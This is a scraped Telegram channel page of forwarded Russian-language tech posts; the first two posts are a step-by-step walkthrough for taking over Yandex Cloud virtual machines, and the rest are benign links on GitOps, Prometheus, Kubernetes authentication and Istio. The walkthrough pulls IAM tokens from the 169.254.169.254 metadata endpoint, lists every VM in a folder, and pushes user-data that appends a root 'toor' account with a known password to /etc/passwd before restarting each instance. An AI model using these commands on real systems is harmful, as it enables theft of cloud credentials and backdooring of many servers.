rxd_txd
308 subscribers
487 photos
27 videos
22 files
2.75K links
Download Telegram
Forwarded from Кавычка (Bo0oM)
Так как Яндекс.Облако решает одну из таких задач, как импортозамещение, многие инструменты от AWS подойдут для использования в этом продукте, так как у них присутствуют одинаковые вызовы API.

Облака это не обычные виртуалки, но не все этого понимают. В AWS есть такая херь, под названием IAM (AWS Identity and Access Management), она создана для контроля доступа к сервисам Амазона. IAM позволяет не раздавать привилегии налево и направо, а запросить доступ на время. Самое смешное, что подобная технология, которая создана для защиты, чаще всего неправильно настроена и позволяет любому, кто находится на сервере запросить подобный доступ. Делается это как с помощью SSRF атак, так и после компрометации одной из машин.

Например, ручка, которая позволяет получить токен доступа для CLI API:

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/default

Точно такой же запрос можно выполнить в Яндекс Облаке, если неправильно настроена роль. Когда создаешь виртуальную машину в ней нет сервис аккаунта. Но вот если решишь его привязать, то тебе предложат создать сразу с ролью editor. Это «примитивная» роль с правами создавать/обновлять/удалять виртуалки. Если в ответе будет что-то такое:


{“Code":"Success","Token":"t1.H1shIqVmYuKys2Nz86Mj5LLzc-Lku3rnpWai5uKzc7OksrLlcuRnpudlovl8_dtHGl4-e8FIxs3_N3z9y1LZnj57wUjGzf8.qMl7rNwY8ztuhHWsWc1DhY6hFb3p7tp56TUYO2A1PVFs-Sjwnsohf-w0UfedZbuEt6sC0TljNya_29Ncsu2n","Expiration":"2022-02-01T01:52:18+00:00"}


То скорее всего это шанс на победу. А ручка

curl http://169.254.169.254/latest/user-data

Вернет информацию о пользователе облака, чей токен нам сейчас показали. Смотрим на логин, открытый ключ и другие настройки.

И сейчас легким движением руки мы захватим все образы на примере Яндекс Облака. Следите за пальцами.
Forwarded from Кавычка (Bo0oM)
Берем известный нам IAM_TOKEN. Получаем почту и id пользователя:
curl -H "Authorization: Bearer {IAM_TOKEN}" "https://iam.api.cloud.yandex.net/iam/v1/yandexPassportUserAccounts:byLogin?login={LOGIN}"

Получаем идентификатор инстанса:
curl -H Metadata-Flavor:Google 169.254.169.254/computeMetadata/v1/instance/id

Забираем информацию о текущем инстансе, нас интересует folderId:
curl -H "Authorization: Bearer {IAM_TOKEN}" "https://compute.api.cloud.yandex.net/compute/v1/instances/{instanceID}"

С помощью folderId получаем список всех виртуальных машин в облаке:
curl -H "Authorization: Bearer {IAM_TOKEN}" "https://compute.api.cloud.yandex.net/compute/v1/instances?folderId={folderId}"

В ответе будет список всех виртуальных машин, их имена, описание, дата создания, instanceId всех тачек.


А теперь самое интересное, получаем всю метадату для каждого инстанса:

curl -H "Authorization: Bearer {IAM_TOKEN}" "https://compute.api.cloud.yandex.net/compute/v1/instances/{instanceID}?view=FULL"

Делаем резервную копию yaml-файла. В поле "user-data" добавляем бэкдор в виде привилегированного пользователя toor:

\n - echo toor:P@ssw0rd:0:0:root:\/root:\/bin\/bash >> \/etc\/passwd\n

Пушим изменения:

POST /compute/v1/instances/epd48d7l217cs3eqgb1b/updateMetadata HTTP/2
Host: compute.api.cloud.yandex.net
authorization: Bearer {IAM_TOKEN}
content-length: 1337
content-type: application/x-www-form-urlencoded

{
"upsert": {
"serial-port-enable": "1",
...
"user-data": "#cloud-config\ndatasource:\n Ec2:\n strict_id: false\nssh_pwauth: no\nbootcmd:\n - echo toor:P@ssw0rd:0:0:root:\/root:\/bin\/bash >> \/etc\/passwd\nusers:\n- name: bankprod\n sudo: ALL=(ALL) NOPASSWD:ALL\n shell: /bin/bash\n ssh-authorized-keys:\n - ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEs7/GMUMCm6ncksXdcYf1+XSPkdVXvNdlUJZiJkGHBa bankprod@develop"
}
}


И делаем рестарт:


POST /compute/v1/instances/{instanceId}:restart HTTP/2
Host: compute.api.cloud.yandex.net
authorization: Bearer {IAM_TOKEN}
content-length: 37
content-type: application/x-www-form-urlencoded

{"instanceId":"{instanceId}"}



Поздравляю. У вас десятки, а может и сотни виртуальных машин с пользователем root благодаря одной уязвимости, если компания не осилила настройку облаков.
🛠 A Hello World GitOps Example Walkthrough - пример организации GitOps подхода. Пошагово, со схемой и примерами конфигов. Полезным, пожалуй, будет для тех, кто хочет GitOps попробовать, но в длинные мануалы пока что вчитываться не готов.

#gitops #напочитать
Forwarded from Мониторим ИТ
Онлайн-сервис для проверки релейбелинга в Prometheus.

https://relabeler.promlabs.com/
Forwarded from k8s (in)security (Дмитрий Евдокимов)
Мощный лонгрид "User and workload identities in Kubernetes" посвящённый AuthN (на самом деле это 4 статья из цикла). Помимо более-менее очевидных моментов что кочуют из статьи в статью про аутентификацию в Kubernetes - типа: внутренние и внешние субъекты, различные стратегии аутентификации (static token, bearer token, X509 certificate, OIDC и т.д.), назначение и роль Service Accounts и подобное.

В данной статье есть очень классный момент про работу Service Accounts и Secret до версии 1.24 и начиная с нее. Если вы об этом не знали, то тут появляется значительное отличие по работе. Если раньше при создании Service Accounts для него Secret с token создавался автоматически, то теперь этого не происходит (но можно вернуть прежнее поведении через специальную annotations - читайте в этой же статье). С версии 1.24 желаемый token монтируется в Pod автоматически как projected volume и имеет срок действия (чего не было раньше)!
Forwarded from DevSecOps Talks
Istio Handbook

Всем привет!

Очень неплохой материал, посвященный Istio – статьей его язык не поворачивается назвать, т.к. материала очень много, но это и не полноценная книга.

В материале содержится информация о:
🍭 What Does Istio Do?
🍭 Introduction to Istio
🍭 Istio’s Architecture
🍭 How to Use Istio in Practice
🍭 How to Run the Services on the Mesh
🍭 Ingress Gateway – How to Admit Traffic into the Mesh
🍭 Observability
🍭 Traffic Management – Canary Deployments
🍭 Istio Security

Много схем, примеров, кусков кода и пояснений по каждому из вышерассмотренных блоков.
Самое то для ознакомления с технологией и до вдумчивого чтения официальной документации.